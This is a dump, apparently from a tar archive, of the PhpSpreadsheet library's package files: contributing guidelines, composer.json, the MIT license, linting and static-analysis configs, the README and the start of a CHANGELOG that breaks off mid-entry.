are then merged to the `master` branch once stable and approved; so the `master` branch is always the most up-to-date, working code - If you are going to submit a pull request, please fork from `master`, and submit your pull request back as a fix/feature branch referencing the GitHub issue number - The code must work with all PHP versions that we support. - You can call `composer versions` to test version compatibility. - Code style should be maintained. - `composer style` will identify any issues with Coding Style`. - `composer fix` will fix most issues with Coding Style. - All code changes must be validated by `composer check`. - Please include Unit Tests to verify that a bug exists, and that this PR fixes it. - Please include Unit Tests to show that a new Feature works as expected. - Please don't "bundle" several changes into a single PR; submit a PR for each discrete change/fix. - Remember to update documentation if necessary. - [Helpful article about forking](https://help.github.com/articles/fork-a-repo/ "Forking a GitHub repository") - [Helpful article about pull requests](https://help.github.com/articles/using-pull-requests/ "Pull Requests") ## Unit Tests When writing Unit Tests, please - Always try to write Unit Tests for both the happy and unhappy paths. - Put all assertions in the Test itself, not in an abstract class that the Test extends (even if this means code duplication between tests). - Include any necessary `setup()` and `tearDown()` in the Test itself. - If you change any global settings (such as system locale, or Compatibility Mode for Excel Function tests), make sure that you reset to the default in the `tearDown()`. - Use the `ExcelError` functions in assertions for Excel Error values in Excel Function implementations. <br />Not only does it reduce the risk of typos; but at some point in the future, ExcelError values will be an object rather than a string, and we won't then need to update all the tests. - Don't over-complicate test code by testing happy and unhappy paths in the same test. This makes it easier to see exactly what is being tested when reviewing the PR. I want to be able to see it in the PR, not have to hunt in other unchanged classes to see what the test is doing. ## How to release 1. Complete CHANGELOG.md and commit 2. Create an annotated tag 1. `git tag -a 1.2.3` 2. Tag subject must be the version number, eg: `1.2.3` 3. Tag body must be a copy-paste of the changelog entries. 3. Push the tag with `git push --tags`, GitHub Actions will create a GitHub release automatically, and the release details will automatically be sent to packagist. 4. Github seems to remove markdown headings in the Release Notes, so you should edit to restore these. > **Note:** Tagged releases are made from the `master` branch. Only in an emergency should a tagged release be made from the `release` branch. (i.e. cherry-picked hot-fixes.) phpoffice/phpspreadsheet/.readthedocs.yaml000064400000000346151676714400014773 0ustar00# Read the Docs configuration file for MkDocs projects # See https://docs.readthedocs.io/en/stable/config-file/v2.html version: 2 build: os: ubuntu-22.04 tools: python: "3" mkdocs: configuration: mkdocs.yml phpoffice/phpspreadsheet/composer.json000064400000007261151676714400014271 0ustar00{ "name": "phpoffice/phpspreadsheet", "description": "PHPSpreadsheet - Read, Create and Write Spreadsheet documents in PHP - Spreadsheet engine", "keywords": [ "PHP", "OpenXML", "Excel", "xlsx", "xls", "ods", "gnumeric", "spreadsheet" ], "config": { "platform": { "php" : "8.0.99" }, "sort-packages": true, "allow-plugins": { "dealerdirect/phpcodesniffer-composer-installer": true } }, "homepage": "https://github.com/PHPOffice/PhpSpreadsheet", "type": "library", "license": "MIT", "authors": [ { "name": "Maarten Balliauw", "homepage": "https://blog.maartenballiauw.be" }, { "name": "Mark Baker", "homepage": "https://markbakeruk.net" }, { "name": "Franck Lefevre", "homepage": "https://rootslabs.net" }, { "name": "Erik Tilt" }, { "name": "Adrien Crivelli" } ], "scripts": { "check": [ "./bin/check-phpdoc-types", "phpcs samples/ src/ tests/ --report=checkstyle", "phpcs samples/ src/ tests/ --standard=PHPCompatibility --runtime-set testVersion 8.0- -n", "php-cs-fixer fix --ansi --dry-run --diff", "phpunit --color=always", "phpstan analyse --ansi --memory-limit=2048M" ], "style": [ "phpcs samples/ src/ tests/ --report=checkstyle", "php-cs-fixer fix --ansi --dry-run --diff" ], "fix": [ "phpcbf samples/ src/ tests/ --report=checkstyle", "php-cs-fixer fix" ], "versions": [ "phpcs samples/ src/ tests/ --standard=PHPCompatibility --runtime-set testVersion 8.0- -n" ] }, "require": { "php": "^8.0", "ext-ctype": "*", "ext-dom": "*", "ext-fileinfo": "*", "ext-gd": "*", "ext-iconv": "*", "ext-libxml": "*", "ext-mbstring": "*", "ext-simplexml": "*", "ext-xml": "*", "ext-xmlreader": "*", "ext-xmlwriter": "*", "ext-zip": "*", "ext-zlib": "*", "maennchen/zipstream-php": "^2.1 || ^3.0", "markbaker/complex": "^3.0", "markbaker/matrix": "^3.0", "psr/http-client": "^1.0", "psr/http-factory": "^1.0", "psr/simple-cache": "^1.0 || ^2.0 || ^3.0" }, "require-dev": { "dealerdirect/phpcodesniffer-composer-installer": "dev-main", "dompdf/dompdf": "^2.0", "friendsofphp/php-cs-fixer": "^3.2", "mitoteam/jpgraph": "^10.3", "mpdf/mpdf": "^8.1.1", "phpcompatibility/php-compatibility": "^9.3", "phpstan/phpstan": "^1.1", "phpstan/phpstan-phpunit": "^1.0", "phpunit/phpunit": "^9.6", "squizlabs/php_codesniffer": "^3.7", "tecnickcom/tcpdf": "^6.5" }, "suggest": { "ext-intl": "PHP Internationalization Functions", "mpdf/mpdf": "Option for rendering PDF with PDF Writer", "dompdf/dompdf": "Option for rendering PDF with PDF Writer", "tecnickcom/tcpdf": "Option for rendering PDF with PDF Writer", "mitoteam/jpgraph": "Option for rendering charts, or including charts with PDF or HTML Writers" }, "autoload": { "psr-4": { "PhpOffice\\PhpSpreadsheet\\": "src/PhpSpreadsheet" } }, "autoload-dev": { "psr-4": { "PhpOffice\\PhpSpreadsheetTests\\": "tests/PhpSpreadsheetTests", "PhpOffice\\PhpSpreadsheetInfra\\": "infra" } } } phpoffice/phpspreadsheet/LICENSE000064400000002067151676714400012553 0ustar00MIT License Copyright (c) 2019 PhpSpreadsheet Authors Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. phpoffice/phpspreadsheet/phpstan.neon.dist000064400000002102151676714400015034 0ustar00includes: - phpstan-baseline.neon - vendor/phpstan/phpstan-phpunit/extension.neon - vendor/phpstan/phpstan-phpunit/rules.neon parameters: level: 8 paths: - samples/ - src/ - tests/ - infra/ - bin/generate-document - bin/generate-locales - bin/check-phpdoc-types excludePaths: - src/PhpSpreadsheet/Chart/Renderer/JpGraph.php - src/PhpSpreadsheet/Chart/Renderer/JpGraphRendererBase.php - src/PhpSpreadsheet/Collection/Memory/SimpleCache1.php - src/PhpSpreadsheet/Collection/Memory/SimpleCache3.php - src/PhpSpreadsheet/Writer/ZipStream2.php - src/PhpSpreadsheet/Writer/ZipStream3.php parallel: processTimeout: 300.0 checkMissingIterableValueType: false checkGenericClassInNonGenericObjectType: false ignoreErrors: # Accept a bit anything for assert methods - '~^Parameter \#2 .* of static method PHPUnit\\Framework\\Assert\:\:assert\w+\(\) expects .*, .* given\.$~' - '~^Variable \$helper might not be defined\.$~' phpoffice/phpspreadsheet/README.md000064400000014701151676714400013023 0ustar00# PhpSpreadsheet [](https://github.com/PHPOffice/PhpSpreadsheet/actions) [](https://scrutinizer-ci.com/g/PHPOffice/PhpSpreadsheet/?branch=master) [](https://scrutinizer-ci.com/g/PHPOffice/PhpSpreadsheet/?branch=master) [](https://packagist.org/packages/phpoffice/phpspreadsheet) [](https://packagist.org/packages/phpoffice/phpspreadsheet) [](https://packagist.org/packages/phpoffice/phpspreadsheet) [](https://gitter.im/PHPOffice/PhpSpreadsheet) PhpSpreadsheet is a library written in pure PHP and offers a set of classes that allow you to read and write various spreadsheet file formats such as Excel and LibreOffice Calc. ## PHP Version Support LTS: Support for PHP versions will only be maintained for a period of six months beyond the [end of life](https://www.php.net/supported-versions) of that PHP version. Currently the required PHP minimum version is PHP __8.0__, and we [will support that version](https://www.php.net/eol.php) until May 2024. See the `composer.json` for other requirements. ## Installation Use [composer](https://getcomposer.org) to install PhpSpreadsheet into your project: ```sh composer require phpoffice/phpspreadsheet ``` If you are building your installation on a development machine that is on a different PHP version to the server where it will be deployed, or if your PHP CLI version is not the same as your run-time such as `php-fpm` or Apache's `mod_php`, then you might want to add the following to your `composer.json` before installing: ```json { "config": { "platform": { "php": "8.0" } } } ``` and then run ```sh composer install ``` to ensure that the correct dependencies are retrieved to match your deployment environment. See [CLI vs Application run-time](https://php.watch/articles/composer-platform-check) for more details. ### Additional Installation Options If you want to write to PDF, or to include Charts when you write to HTML or PDF, then you will need to install additional libraries: #### PDF For PDF Generation, you can install any of the following, and then configure PhpSpreadsheet to indicate which library you are going to use: - mpdf/mpdf - dompdf/dompdf - tecnickcom/tcpdf and configure PhpSpreadsheet using: ```php // Dompdf, Mpdf or Tcpdf (as appropriate) $className = \PhpOffice\PhpSpreadsheet\Writer\Pdf\Dompdf::class; IOFactory::registerWriter('Pdf', $className); ``` or the appropriate PDF Writer wrapper for the library that you have chosen to install. #### Chart Export For Chart export, we support following packages, which you will also need to install yourself using `composer require` - [jpgraph/jpgraph](https://packagist.org/packages/jpgraph/jpgraph) (this package was abandoned at version 4.0. You can manually download the latest version that supports PHP 8 and above from [jpgraph.net](https://jpgraph.net/)) - [mitoteam/jpgraph](https://packagist.org/packages/mitoteam/jpgraph) - up to date fork with modern PHP versions support and some bugs fixed. and then configure PhpSpreadsheet using: ```php // to use jpgraph/jpgraph Settings::setChartRenderer(\PhpOffice\PhpSpreadsheet\Chart\Renderer\JpGraph::class); //or // to use mitoteam/jpgraph Settings::setChartRenderer(\PhpOffice\PhpSpreadsheet\Chart\Renderer\MtJpGraphRenderer::class); ``` One or the other of these libraries is necessary if you want to generate HTML or PDF files that include charts; or to render a Chart to an Image format from within your code. They are not necessary to define charts for writing to `Xlsx` files. Other file formats don't support writing Charts. ## Documentation Read more about it, including install instructions, in the [official documentation](https://phpspreadsheet.readthedocs.io). Or check out the [API documentation](https://phpoffice.github.io/PhpSpreadsheet). Please ask your support questions on [StackOverflow](https://stackoverflow.com/questions/tagged/phpspreadsheet), or have a quick chat on [Gitter](https://gitter.im/PHPOffice/PhpSpreadsheet). ## Patreon I am now running a [Patreon](https://www.patreon.com/MarkBaker) to support the work that I do on PhpSpreadsheet. Supporters will receive access to articles about working with PhpSpreadsheet, and how to use some of its more advanced features. Posts already available to Patreon supporters: - The Dating Game - A look at how MS Excel (and PhpSpreadsheet) handle date and time values. - Looping the Loop - Advice on Iterating through the rows and cells in a worksheet. And for Patrons at levels actively using PhpSpreadsheet: - Behind the Mask - A look at Number Format Masks. The Next Article (currently Work in Progress): - Formula for Success - How to debug formulae that don't produce the expected result. My aim is to post at least one article each month, taking a detailed look at some feature of MS Excel and how to use that feature in PhpSpreadsheet, or on how to perform different activities in PhpSpreadsheet. Planned posts for the future include topics like: - Tables - Structured References - AutoFiltering - Array Formulae - Conditional Formatting - Data Validation - Value Binders - Images - Charts After a period of six months exclusive to Patreon supporters, articles will be incorporated into the public documentation for the library. ## PHPExcel vs PhpSpreadsheet ? PhpSpreadsheet is the next version of PHPExcel. It breaks compatibility to dramatically improve the code base quality (namespaces, PSR compliance, use of latest PHP language features, etc.). Because all efforts have shifted to PhpSpreadsheet, PHPExcel will no longer be maintained. All contributions for PHPExcel, patches and new features, should target PhpSpreadsheet `master` branch. Do you need to migrate? There is [an automated tool](/docs/topics/migration-from-PHPExcel.md) for that. ## License PhpSpreadsheet is licensed under [MIT](https://github.com/PHPOffice/PhpSpreadsheet/blob/master/LICENSE). phpoffice/phpspreadsheet/.php-cs-fixer.dist.php000064400000030234151676714400015601 0ustar00<?php $finder = PhpCsFixer\Finder::create() ->exclude('vendor') ->notPath('src/PhpSpreadsheet/Writer/ZipStream3.php') ->name('/(\.php|^generate-document|^generate-locales|^check-phpdoc-types)$/') ->in(__DIR__); $config = new PhpCsFixer\Config(); $config ->setRiskyAllowed(true) ->setFinder($finder) ->setCacheFile(sys_get_temp_dir() . '/php-cs-fixer' . preg_replace('~\W~', '-', __DIR__)) ->setRules([ 'align_multiline_comment' => true, 'array_indentation' => true, 'array_syntax' => ['syntax' => 'short'], 'backtick_to_shell_exec' => true, 'binary_operator_spaces' => true, 'blank_line_after_namespace' => true, 'blank_line_after_opening_tag' => true, 'blank_line_before_statement' => true, 'braces' => true, 'cast_spaces' => true, 'class_attributes_separation' => ['elements' => ['method' => 'one', 'property' => 'one']], // const are often grouped with other related const 'class_definition' => false, // phpcs disagree 'class_keyword_remove' => false, // Deprecated, and ::class keyword gives us better support in IDE 'combine_consecutive_issets' => true, 'combine_consecutive_unsets' => true, 'combine_nested_dirname' => true, 'comment_to_phpdoc' => false, // interferes with annotations 'compact_nullable_typehint' => true, 'concat_space' => ['spacing' => 'one'], 'constant_case' => true, 'date_time_immutable' => false, // Break our unit tests 'declare_equal_normalize' => true, 'declare_strict_types' => false, // Too early to adopt strict types 'dir_constant' => true, 'doctrine_annotation_array_assignment' => true, 'doctrine_annotation_braces' => true, 'doctrine_annotation_indentation' => true, 'doctrine_annotation_spaces' => true, 'elseif' => true, 'empty_loop_body' => true, 'empty_loop_condition' => true, 'encoding' => true, 'ereg_to_preg' => true, 'error_suppression' => false, // it breaks \PhpOffice\PhpSpreadsheet\Helper\Handler 'escape_implicit_backslashes' => true, 'explicit_indirect_variable' => false, // I feel it makes the code actually harder to read 'explicit_string_variable' => false, // I feel it makes the code actually harder to read 'final_class' => false, // We need non-final classes 'final_internal_class' => true, 'final_public_method_for_abstract_class' => false, // We need non-final methods 'fopen_flag_order' => true, 'fopen_flags' => true, 'full_opening_tag' => true, 'fully_qualified_strict_types' => true, 'function_declaration' => true, 'function_to_constant' => true, 'function_typehint_space' => true, 'general_phpdoc_annotation_remove' => ['annotations' => ['access', 'category', 'copyright']], 'general_phpdoc_tag_rename' => true, 'global_namespace_import' => true, 'group_import' => false, // I feel it makes the code actually harder to read 'header_comment' => false, // We don't use common header in all our files 'heredoc_indentation' => true, 'heredoc_to_nowdoc' => false, // Not sure about this one 'implode_call' => true, 'include' => true, 'increment_style' => true, 'indentation_type' => true, 'integer_literal_case' => true, 'is_null' => true, 'lambda_not_used_import' => true, 'line_ending' => true, 'linebreak_after_opening_tag' => true, 'list_syntax' => ['syntax' => 'short'], 'logical_operators' => true, 'lowercase_cast' => true, 'lowercase_keywords' => true, 'lowercase_static_reference' => true, 'magic_constant_casing' => true, 'magic_method_casing' => true, 'mb_str_functions' => false, // No, too dangerous to change that 'method_argument_space' => true, 'method_chaining_indentation' => true, 'modernize_strpos' => true, 'modernize_types_casting' => true, 'multiline_comment_opening_closing' => true, 'multiline_whitespace_before_semicolons' => true, 'native_constant_invocation' => false, // Micro optimization that look messy 'native_function_casing' => true, 'native_function_invocation' => false, // I suppose this would be best, but I am still unconvinced about the visual aspect of it 'native_function_type_declaration_casing' => true, 'new_with_braces' => true, 'no_alias_functions' => true, 'no_alias_language_construct_call' => true, 'no_alternative_syntax' => true, 'no_binary_string' => true, 'no_blank_lines_after_class_opening' => true, 'no_blank_lines_after_phpdoc' => true, 'no_blank_lines_before_namespace' => false, // we want 1 blank line before namespace 'no_break_comment' => true, 'no_closing_tag' => true, 'no_empty_comment' => true, 'no_empty_phpdoc' => true, 'no_empty_statement' => true, 'no_extra_blank_lines' => true, 'no_homoglyph_names' => true, 'no_leading_import_slash' => true, 'no_leading_namespace_whitespace' => true, 'no_mixed_echo_print' => true, 'no_multiline_whitespace_around_double_arrow' => true, 'no_null_property_initialization' => true, 'no_php4_constructor' => true, 'no_short_bool_cast' => true, 'echo_tag_syntax' => ['format' => 'long'], 'no_singleline_whitespace_before_semicolons' => true, 'no_space_around_double_colon' => true, 'no_spaces_after_function_name' => true, 'no_spaces_around_offset' => true, 'no_spaces_inside_parenthesis' => true, 'no_superfluous_elseif' => false, // Might be risky on a huge code base 'no_superfluous_phpdoc_tags' => ['allow_mixed' => true], 'no_trailing_comma_in_list_call' => true, 'no_trailing_comma_in_singleline_array' => true, 'no_trailing_whitespace' => true, 'no_trailing_whitespace_in_comment' => true, 'no_trailing_whitespace_in_string' => false, // Too dangerous 'no_unneeded_control_parentheses' => true, 'no_unneeded_curly_braces' => true, 'no_unneeded_final_method' => true, 'no_unreachable_default_argument_value' => true, 'no_unset_cast' => true, 'no_unset_on_property' => false, 'no_unused_imports' => true, 'no_useless_else' => true, 'no_useless_return' => true, 'no_useless_sprintf' => true, 'no_whitespace_before_comma_in_array' => true, 'no_whitespace_in_blank_line' => true, 'non_printable_character' => true, 'normalize_index_brace' => true, 'not_operator_with_space' => false, // No we prefer to keep '!' without spaces 'not_operator_with_successor_space' => false, // idem 'nullable_type_declaration_for_default_null_value' => true, 'object_operator_without_whitespace' => true, 'octal_notation' => true, 'operator_linebreak' => true, 'ordered_class_elements' => false, // We prefer to keep some freedom 'ordered_imports' => true, 'ordered_interfaces' => true, 'ordered_traits' => true, 'php_unit_construct' => true, 'php_unit_dedicate_assert' => true, 'php_unit_dedicate_assert_internal_type' => true, 'php_unit_expectation' => true, 'php_unit_fqcn_annotation' => true, 'php_unit_internal_class' => false, // Because tests are excluded from package 'php_unit_method_casing' => true, 'php_unit_mock' => true, 'php_unit_mock_short_will_return' => true, 'php_unit_namespaced' => true, 'php_unit_no_expectation_annotation' => true, 'phpdoc_order_by_value' => ['annotations' => ['covers']], 'php_unit_set_up_tear_down_visibility' => true, 'php_unit_size_class' => false, // That seems extra work to maintain for little benefits 'php_unit_strict' => false, // We sometime actually need assertEquals 'php_unit_test_annotation' => true, 'php_unit_test_case_static_method_calls' => ['call_type' => 'self'], 'php_unit_test_class_requires_covers' => false, // We don't care as much as we should about coverage 'phpdoc_add_missing_param_annotation' => false, // Don't add things that bring no value 'phpdoc_align' => false, // Waste of time 'phpdoc_annotation_without_dot' => true, 'phpdoc_indent' => true, //'phpdoc_inline_tag' => true, 'phpdoc_line_span' => false, // Unfortunately our old comments turn even uglier with this 'phpdoc_no_access' => true, 'phpdoc_no_alias_tag' => true, 'phpdoc_no_empty_return' => true, 'phpdoc_no_package' => true, 'phpdoc_no_useless_inheritdoc' => true, 'phpdoc_order' => true, 'phpdoc_return_self_reference' => true, 'phpdoc_scalar' => true, 'phpdoc_separation' => true, 'phpdoc_single_line_var_spacing' => true, 'phpdoc_summary' => true, 'phpdoc_tag_casing' => true, 'phpdoc_tag_type' => true, 'phpdoc_to_comment' => false, // interferes with annotations 'phpdoc_to_param_type' => false, // Because experimental, but interesting for one shot use 'phpdoc_to_property_type' => false, // Because experimental, but interesting for one shot use 'phpdoc_to_return_type' => false, // Because experimental, but interesting for one shot use 'phpdoc_trim' => true, 'phpdoc_trim_consecutive_blank_line_separation' => true, 'phpdoc_types' => true, 'phpdoc_types_order' => true, 'phpdoc_var_annotation_correct_order' => true, 'phpdoc_var_without_name' => true, 'pow_to_exponentiation' => true, 'protected_to_private' => true, 'psr_autoloading' => true, 'random_api_migration' => true, 'return_assignment' => false, // Sometimes useful for clarity or debug 'return_type_declaration' => true, 'self_accessor' => true, 'self_static_accessor' => true, 'semicolon_after_instruction' => false, // Buggy in `samples/index.php` 'set_type_to_cast' => true, 'short_scalar_cast' => true, 'simple_to_complex_string_variable' => false, // Would differ from TypeScript without obvious advantages 'simplified_if_return' => false, // Even if technically correct we prefer to be explicit 'simplified_null_return' => false, // Even if technically correct we prefer to be explicit 'single_blank_line_at_eof' => true, 'single_blank_line_before_namespace' => true, 'single_class_element_per_statement' => true, 'single_import_per_statement' => true, 'single_line_after_imports' => true, 'single_line_comment_style' => true, 'single_line_throw' => false, // I don't see any reason for having a special case for Exception 'single_quote' => true, 'single_space_after_construct' => true, 'single_trait_insert_per_statement' => true, 'space_after_semicolon' => true, 'standardize_increment' => true, 'standardize_not_equals' => true, 'static_lambda' => false, // Risky if we can't guarantee nobody use `bindTo()` 'strict_comparison' => false, // No, too dangerous to change that 'strict_param' => false, // No, too dangerous to change that 'string_length_to_empty' => true, 'string_line_ending' => true, 'switch_case_semicolon_to_colon' => true, 'switch_case_space' => true, 'switch_continue_to_break' => true, 'ternary_operator_spaces' => true, 'ternary_to_elvis_operator' => true, 'ternary_to_null_coalescing' => true, 'trailing_comma_in_multiline' => true, 'trim_array_spaces' => true, 'types_spaces' => true, 'unary_operator_spaces' => true, 'use_arrow_functions' => true, 'visibility_required' => ['elements' => ['property', 'method']], // not const 'void_return' => true, 'whitespace_after_comma_in_array' => true, 'yoda_style' => false, ]); return $config; phpoffice/phpspreadsheet/phpstan-baseline.neon000064400000000033151676714400015653 0ustar00parameters: ignoreErrors: phpoffice/phpspreadsheet/.phpcs.xml.dist000064400000001574151676714400014427 0ustar00<?xml version="1.0"?> <ruleset xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" name="PHP_CodeSniffer" xsi:noNamespaceSchemaLocation="vendor/squizlabs/php_codesniffer/phpcs.xsd"> <file>samples</file> <file>src</file> <file>tests</file> <file>infra</file> <file>bin/generate-document</file> <file>bin/generate-locales</file> <file>bin/check-phpdoc-types</file> <exclude-pattern>samples/Header.php</exclude-pattern> <exclude-pattern>*/tests/Core/*/*Test\.(inc|css|js)$</exclude-pattern> <arg name="report-width" value="200"/> <arg name="parallel" value="80"/> <arg name="cache" value="/tmp/.phpspreadsheet.phpcs-cache"/> <arg name="colors"/> <arg value="np"/> <!-- Include the whole PSR12 standard --> <rule ref="PSR12"> <exclude name="PSR2.Methods.MethodDeclaration.Underscore"/> </rule> </ruleset> phpoffice/phpspreadsheet/CHANGELOG.md000064400000375075151676714400013373 0ustar00# Changelog All notable changes to this project will be documented in this file. The format is based on [Keep a Changelog](https://keepachangelog.com) and this project adheres to [Semantic Versioning](https://semver.org). ## 2024-05-11 - 2.1.0 ### MINOR BREAKING CHANGE - Writing of cell comments to Html will now sanitize all Html tags within the comment, so the tags will be rendered as plaintext and have no other effects when rendered. Styling can be achieved by using the Font property of of the TextRuns which make up the comment, as is already the cases for Xlsx. [PR #3957](https://github.com/PHPOffice/PhpSpreadsheet/pull/3957) ### Added - Default Style Alignment Property (workaround for bug in non-Excel spreadsheet apps) [Issue #3918](https://github.com/PHPOffice/PhpSpreadsheet/issues/3918) [PR #3924](https://github.com/PHPOffice/PhpSpreadsheet/pull/3924) - Additional Support for Date/Time Styles [PR #3939](https://github.com/PHPOffice/PhpSpreadsheet/pull/3939) ### Changed - Nothing ### Deprecated - Reader/Xml trySimpleXMLLoadString should not have had public visibility, and will be removed. ### Removed - Nothing ### Fixed - IF Empty Arguments. [Issue #3875](https://github.com/PHPOffice/PhpSpreadsheet/issues/3875) [Issue #2146](https://github.com/PHPOffice/PhpSpreadsheet/issues/2146) [PR #3879](https://github.com/PHPOffice/PhpSpreadsheet/pull/3879) - Changes to floating point in Php8.4. [Issue #3896](https://github.com/PHPOffice/PhpSpreadsheet/issues/3896) [PR #3897](https://github.com/PHPOffice/PhpSpreadsheet/pull/3897) - Handling User-supplied Decimal and Thousands Separators. [Issue #3900](https://github.com/PHPOffice/PhpSpreadsheet/issues/3900) [PR #3903](https://github.com/PHPOffice/PhpSpreadsheet/pull/3903) - Improve Performance of CSV Writer. [Issue #3904](https://github.com/PHPOffice/PhpSpreadsheet/issues/3904) [PR #3906](https://github.com/PHPOffice/PhpSpreadsheet/pull/3906) - Fix issue with prepending zero in percentage [Issue #3920](https://github.com/PHPOffice/PhpSpreadsheet/issues/3920) [PR #3921](https://github.com/PHPOffice/PhpSpreadsheet/pull/3921) - Incorrect SUMPRODUCT Calculation [Issue #3909](https://github.com/PHPOffice/PhpSpreadsheet/issues/3909) [PR #3916](https://github.com/PHPOffice/PhpSpreadsheet/pull/3916) - Formula Misidentifying Text as Cell After Insertion/Deletion [Issue #3907](https://github.com/PHPOffice/PhpSpreadsheet/issues/3907) [PR #3915](https://github.com/PHPOffice/PhpSpreadsheet/pull/3915) - Unexpected Absolute Address in Xlsx Rels [Issue #3730](https://github.com/PHPOffice/PhpSpreadsheet/issues/3730) [PR #3923](https://github.com/PHPOffice/PhpSpreadsheet/pull/3923) - Unallocated Cells Affected by Column/Row Insert/Delete [Issue #3933](https://github.com/PHPOffice/PhpSpreadsheet/issues/3933) [PR #3940](https://github.com/PHPOffice/PhpSpreadsheet/pull/3940) - Invalid Builtin Defined Name in Xls Reader [Issue #3935](https://github.com/PHPOffice/PhpSpreadsheet/issues/3935) [PR #3942](https://github.com/PHPOffice/PhpSpreadsheet/pull/3942) - Hidden Rows and Columns Tcpdf/Mpdf [PR #3945](https://github.com/PHPOffice/PhpSpreadsheet/pull/3945) - RTL Text Alignment in Xlsx Comments [Issue #4004](https://github.com/PHPOffice/PhpSpreadsheet/issues/4004) [PR #4006](https://github.com/PHPOffice/PhpSpreadsheet/pull/4006) - Protect Sheet But Allow Sort [Issue #3951](https://github.com/PHPOffice/PhpSpreadsheet/issues/3951) [PR #3956](https://github.com/PHPOffice/PhpSpreadsheet/pull/3956) - Default Value for Conditional::$text [PR #3946](https://github.com/PHPOffice/PhpSpreadsheet/pull/3946) - Table Filter Buttons [Issue #3988](https://github.com/PHPOffice/PhpSpreadsheet/issues/3988) [PR #3992](https://github.com/PHPOffice/PhpSpreadsheet/pull/3992) - Improvements to Xml Reader [Issue #3999](https://github.com/PHPOffice/PhpSpreadsheet/issues/3999) [Issue #4000](https://github.com/PHPOffice/PhpSpreadsheet/issues/4000) [Issue #4001](https://github.com/PHPOffice/PhpSpreadsheet/issues/4001) [Issue #4002](https://github.com/PHPOffice/PhpSpreadsheet/issues/4002) [PR #4003](https://github.com/PHPOffice/PhpSpreadsheet/pull/4003) [PR #4007](https://github.com/PHPOffice/PhpSpreadsheet/pull/4007) - Html Reader non-UTF8 [Issue #3995](https://github.com/PHPOffice/PhpSpreadsheet/issues/3995) [Issue #866](https://github.com/PHPOffice/PhpSpreadsheet/issues/866) [Issue #1681](https://github.com/PHPOffice/PhpSpreadsheet/issues/1681) [PR #4019](https://github.com/PHPOffice/PhpSpreadsheet/pull/4019) ## 2.0.0 - 2024-01-04 ### BREAKING CHANGE - Typing was strengthened by leveraging native typing. This should not change any behavior. However, if you implement any interfaces or inherit from any classes, you will need to adapt your typing accordingly. If you use static analysis tools such as PHPStan or Psalm, new errors might be found. If you find actual bugs because of the new typing, please open a PR that fixes it with a **detailed** explanation of the reason. We'll try to merge and release typing-related fixes quickly in the coming days. [PR #3718](https://github.com/PHPOffice/PhpSpreadsheet/pull/3718) - All deprecated things have been removed, for details, see [816b91d0b4](https://github.com/PHPOffice/PhpSpreadsheet/commit/816b91d0b4a0c7285a9e3fc88c58f7730d922044) ### Added - Split screens (Xlsx and Xml only, not 100% complete). [Issue #3601](https://github.com/PHPOffice/PhpSpreadsheet/issues/3601) [PR #3622](https://github.com/PHPOffice/PhpSpreadsheet/pull/3622) - Permit Meta Viewport in Html. [Issue #3565](https://github.com/PHPOffice/PhpSpreadsheet/issues/3565) [PR #3623](https://github.com/PHPOffice/PhpSpreadsheet/pull/3623) - Hyperlink support for Ods. [Issue #3660](https://github.com/PHPOffice/PhpSpreadsheet/issues/3660) [PR #3669](https://github.com/PHPOffice/PhpSpreadsheet/pull/3669) - ListWorksheetInfo/Names for Html/Csv/Slk. [Issue #3706](https://github.com/PHPOffice/PhpSpreadsheet/issues/3706) [PR #3709](https://github.com/PHPOffice/PhpSpreadsheet/pull/3709) - Methods to determine if cell is actually locked, or hidden on formula bar. [PR #3722](https://github.com/PHPOffice/PhpSpreadsheet/pull/3722) - Add iterateOnlyExistingCells to Constructors. [Issue #3721](https://github.com/PHPOffice/PhpSpreadsheet/issues/3721) [PR #3727](https://github.com/PHPOffice/PhpSpreadsheet/pull/3727) - Support for Conditional Formatting Color Scale. [PR #3738](https://github.com/PHPOffice/PhpSpreadsheet/pull/3738) - Support Additional Tags in Helper/Html. [Issue #3751](https://github.com/PHPOffice/PhpSpreadsheet/issues/3751) [PR #3752](https://github.com/PHPOffice/PhpSpreadsheet/pull/3752) - Writer ODS : Write Border Style for cells [Issue #3690](https://github.com/PHPOffice/PhpSpreadsheet/issues/3690) [PR #3693](https://github.com/PHPOffice/PhpSpreadsheet/pull/3693) - Sheet Background Images [Issue #1649](https://github.com/PHPOffice/PhpSpreadsheet/issues/1649) [PR #3795](https://github.com/PHPOffice/PhpSpreadsheet/pull/3795) - Check if Coordinate is Inside Range [PR #3779](https://github.com/PHPOffice/PhpSpreadsheet/pull/3779) - Flipping Images [Issue #731](https://github.com/PHPOffice/PhpSpreadsheet/issues/731) [PR #3801](https://github.com/PHPOffice/PhpSpreadsheet/pull/3801) - Chart Dynamic Title and Font Properties [Issue #3797](https://github.com/PHPOffice/PhpSpreadsheet/issues/3797) [PR #3800](https://github.com/PHPOffice/PhpSpreadsheet/pull/3800) - Chart Axis Display Units and Logarithmic Scale. [Issue #3833](https://github.com/PHPOffice/PhpSpreadsheet/issues/3833) [PR #3836](https://github.com/PHPOffice/PhpSpreadsheet/pull/3836) - Partial Support of Fill Handles. [Discussion #3847](https://github.com/PHPOffice/PhpSpreadsheet/discussions/3847) [PR #3855](https://github.com/PHPOffice/PhpSpreadsheet/pull/3855) ### Changed - **Drop support for PHP 7.4**, according to https://phpspreadsheet.readthedocs.io/en/latest/#php-version-support [PR #3713](https://github.com/PHPOffice/PhpSpreadsheet/pull/3713) - RLM Added to NumberFormatter Currency. This happens depending on release of ICU which Php is using (it does not yet happen with any official release). PhpSpreadsheet will continue to use the value returned by Php, but a method is added to keep the result unchanged from release to release. [Issue 